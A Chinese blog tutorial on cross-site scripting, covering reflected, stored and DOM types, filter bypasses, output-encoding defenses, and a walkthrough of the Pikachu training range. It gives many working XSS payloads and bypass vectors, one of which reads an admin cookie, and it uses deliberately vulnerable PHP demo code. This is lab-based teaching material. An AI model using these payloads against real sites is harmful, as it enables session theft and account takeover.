XSS(Pikachu)

XSS(Pikachu靶场)

概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

一、XSS的原理和分类

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意js代码,当用户浏览该页面时,嵌入Web里面的js代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

XSS分为:存储型 、反射型 、DOM型XSS

反射型XSS漏洞:前端-->后端-->前端

  1. 1.Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。
    2.Tom 发现 Bob的站点存在反射性的XSS漏洞
    3.Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击
    4.Alice在登录到Bob的站点后,浏览了 Tom 提供的恶意链接
    5.嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。
    6.Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制
    

v2-6d3db83eec67f9c9086da0ea29ff5c3b_1440w

存储型XSS漏洞:前端-->后端-->数据库-->后端-->前端

  1. 1. Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
    2. Tom检测到Bob的站点存在存储型的XSS漏洞。
    3. Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
    4. Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。
    5. Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击
    

v2-dba2b4a081b759d3b7f11381c8e1e829_1440w

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie

DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击前端-->浏览器

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞

可能触发DOM型XSS的属性

document.referer
window.name
location
innerHTML
documen.write

举个栗子 :

<input type="text" id="input">
<button id="btn">Submit</button>
<div id="div"></div>
<script>
    const input = document.getElementById('input');
    const btn = document.getElementById('btn');
    const div = document.getElementById('div');
 
    let val;
    
    input.addEventListener('change', (e) => {
        val = e.target.value;
    }, false);
 
    btn.addEventListener('click', () => {
        div.innerHTML = `<a href=${val}>testLink</a>`
    }, false);
</script>

点击 Submit 按钮后,会在当前页面插入一个链接,其地址为用户的输入内容。如果用户在输入时构造了如下内容:

" onclick=alert(/xss/)

用户提交之后,页面代码就变成了:

<a href onlick="alert(/xss/)">testLink</a>

此时,用户点击生成的链接,就会执行对应的脚本。DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。
DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

二、XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替, 例如 ,看看会有什么反应

v2-e2e1d1d18c9967cc63b6edea59116b42_1440w

页面直接弹出了hack的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端

存储型XSS:

先给出源代码

//前端:2.html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>存储型XSS</title>
</head>
<body>
    <form action="action2.php" method="post">
        输入你的ID:<input type="text" name="id" /> <br/>
        输入你的Name:<input type="text" name="name" /> <br/>
        <input type="submit" value="提交">
    </form>
</body>
</html>
//后端:action2.php
<?php
  $id=$_POST["id"];
  $name=$_POST["name"];
  mysql_connect("localhost","root","root");
  mysql_select_db("test");
  
  $sql="insert into xss value ($id,'$name')";
  $result=mysql_query($sql);
?>
//供其他用户访问页面:show2.php
<?php
  mysql_connect("localhost","root","root");
  mysql_select_db("test");
  $sql="select * from xss where id=1";
  $result=mysql_query($sql);
  while($row=mysql_fetch_array($result)){
    echo $row['name'];
  }
?>

这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS代码就被执行了

v2-c72340bca561a921d9fc4b734793bd36_1440w

我们输入 1 和 ,注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后,我们看看数据库

v2-5911f3635855a002fa497d96b9a86661_1440w

可以看到,我们的XSS语句已经插入到数据库中了

然后当其他用户访问 show2.php 页面时,我们插入的XSS代码就执行了。

存储型XSS的数据流向是:前端-->后端-->数据库-->后端-->前端

v2-0d20d755b8680cb8264f50a0c75d0d55_1440w

DOM型XSS:

先放上源代码

// 前端3.html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>DOM型XSS</title>
</head>
<body>
    <form action="action3.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>
// 后端action3.php
<?php
  $name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
  var text=document.getElementById("text");
  var print=document.getElementById("print");
  print.innerHTML=text.value;  // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
</script>

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

v2-cd447bb3d1a83aca8c49c359f5870131_1440w

我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变化

v2-f826d45b6bb64d64032acde6844460cf_1440w

页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。

这就是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器

七、XSS的简单过滤和绕过

前面讲sql注入的时候,我们讲过程序猿对于sql注入的一些过滤,利用一些函数(如:preg_replace()),将组成sql语句的一些字符给过滤,以防止注入。那么,程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到XSS攻击的目的

1.区分大小写过滤标签

先放上源代码

//前端 1.html:
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>
 
//后端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
  $name=preg_replace("/<script>/","",$name);      //过滤<script>
  $name=preg_replace("/<\/script>/","",$name);   //过滤</script>
  echo $name; 
}
?>

绕过技巧:可以使用大小写绕过

v2-403a4324cda3b77efa6d7ea4ef702d5a_1440w

2.不区分大小写过滤标签

先放上源代码

这个和上面的代码一模一样,只不过是过滤的时候多加了一个 i ,以不区分大小写

$name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>

绕过技巧:可以使用嵌套的script标签绕过 <script>

v2-fae221a40b5bbb5eb7cd3ff912ee8ca0_1440w

3.不区分大小写,过滤之间的所有内容

先放上源代码

这个和上面的代码一模一样,只不过是过滤的时候过滤条件发生了变化

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容

虽然无法使用

<script>

标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

payload:

<img src=1 οnerrοr=alert('hack')>

v2-ccb739afa870232fc34943f9884b4372_1440w

我们可以输入

<img src=1 οnerrοr=alert('hack')> 

,然后看看页面的变化

v2-e1a9daa7e35ea1c8768d00cb86ac47d2_1440w

八、XSS的防御

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );

如下,图1是没有进行html编码的,图2是进行了html编码的。经过html编码后script标签被当成了html实体。

v2-23d80785a73afcb6c729d5b95d7fe6fe_1440w

v2-8999061fc09d4d408c3e874faa117f51_1440w

我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了

当用户点击了我们构造的恶意链接,发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交

v2-ad6df980dfaa3573bde05617c9e6a4e3_1440w

pikachu靶场练习

第1关 反射型xss(get)

<script>alert("1")</script>

image-20240501093443554

发现输入框有长度限制 -----》 一般长度限制都是通过前端html代码校验,所以这里我们有两种方法

1.网页框之间输入

image-20240501093813858

注:使用之前需要查看浏览器是否自动转换URL编码,若无法自动转换则需要手动输入转换。

2.直接修改html代码

将限制长度的变量maxlength增加,比如修改为100。

image-20240501094755597

第2关 反射型xss(post)

尝试直接在登录框直接输入

<script>alert("1")</script>

来判断是否有回显点

image-20240501103134517

发现没有注入点回显,根据提示输入正确的账号密码后登录进去

在输入框输入

<script>alert("1")</script>

有回显

image-20240501103352486

输入

<script>alert(document.cookie)</script>

成功获取admin的cookie

image-20240501103447125

第3关 存储型xss

第三关点开后是一个留言板界面,留言板可以当作存储型xss的注入点,攻击者写下的恶意代码会被存储到数据库,当有人访问这个留言板页面的时候直接触发恶意代码。

image-20240501105319597

在另外一个浏览器中来到本关页面,也出现了同样的弹框。说明存储型XSS能危害所有访问受影响页面的用户。

image-20240501105530419

第4关 DOM型xss

进入第四关发现又是只有一个输入框,我们直接输入<script>alert(1)</script>试试

image-20240501105730237

输入后发现回显了一个链接名曰“what do you see?”

鼠标右键–---查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看

查看源代码,寻找DOM XSS的本质是做js语言阅读理解题

这段js代码的意思是会把用户提交的内容输出到标签里面,我们要想干其他的事,需要闭合标签和引号

image-20240501105911904

根据提示

 document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
 
                    //试试:'><img src="#" onmouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行
 document.getElementById("dom").innerHTML = "<a href=''><img src="#" onmouseover="alert('xss')">'>what do you see?</a>";

image-20240501190551352

 document.getElementById("dom").innerHTML = "<a href='' onclick="alert('xss')">'>what do you see?</a>";

用 ' 闭合前面的单引号

相当于:

 <a href="" onclick=alert('xss')>a</a>

'>what do you see? 当作字符串输出

image-20240501190326275

第5关 DOM型xss-x

随便输点东西,发现跑到url去了

image-20240501194148978

输入

<script>alert(1)</script>

并没有弹框

image-20240501194546461

查看页面源代码:点击emo语句后会执行拼接后的语句,与第一关不同的是点击emo语句才会执行“domxss”函数

image-20240501194734070

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风</a>";

                    //试试:'><img src="#" onmouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行

image-20240501195154483

输入

' onclick="alert('xss')">

image-20240501195417751

第6关 xss盲打

两个输入框,随便输点东西康康

image-20240502211224105

再输入两条xss语句并没有弹窗,发现本关的输入是以POST方法提交的,但是form标签里没有action属性,也不知道表单数据被提交到哪里去了

image-20240502211506417

点提示发现有后台登录地址

登进去看看 啊哦,弹出来了

image-20240502211934014

image-20240502212002732

第7关 xss之过滤

还是随便输

image-20240502212134703

xss注入试试

<script>alert("1")</script>

image-20240502212252213

被过滤了,只剩下>哈哈哈哈,肯定是被过滤啦

那过滤了什么呢?

输入<script时回显为空,说明过滤了这个标签

换个标签试试

<svg onload="alert(1)">

image-20240502212718211

成功啦,这些都可以

<details open ontoggle="alert('xss');">
<input onfocus="alert('xss');">
<img src=1 onerror=alert("xss");>
<svg onload=alert("xss");>
<select onfocus=alert('xss') autofocus>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert('xss')">
<details open ontoggle="alert('xss');">
<input onfocus="alert('xss');">
<img src=1 onerror=alert("xss");>
<svg onload=alert("xss");>
<select onfocus=alert('xss') autofocus>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert('xss')">

试试大小写绕过----成功

<Script>alert("1")</Script>

拼接--- no

<scri<script>pt>alert(1)</scri</script> pt>

第8关 xss之htmlspecialchars

输入nihao

image-20240502215504938

输入标签试试

image-20240502213439189

回显a标签,超链接,发现被预编译了

image-20240502213549342

搜索htmlspecialchars()函数用法,果然是预编译

image-20240502214106439

眼尖的你肯定发现单引号没有预编译

' onclick='alert(1)
<a href='' onclick='alert(1)'>' onclick='alert(1)'</a> 

image-20240502215141935

第9关 xss之href输出

baidu.com

image-20240502215936480

<script>alert(1)</script>

image-20240502220048711

单引号也被过滤了

看看提示

image-20240502220957373

image-20240502221656061

可以利用JavaScript协议。输入payload:

javascript:alert(1)

[javascript伪协议 - komomon - 博客园 (cnblogs.com)

第10关 xss之js输出

image-20240502223221338

tmac的粉丝(确信)

我们可以将其闭合,然后注释掉后面

';alert(1);//

image-20240502223400479

或者

x'</script><script>alert('xss')</script>

image-20240502223543767

完结撒花

posted @ 2024-05-03 00:14  machacha  阅读(55)  评论(0编辑  收藏  举报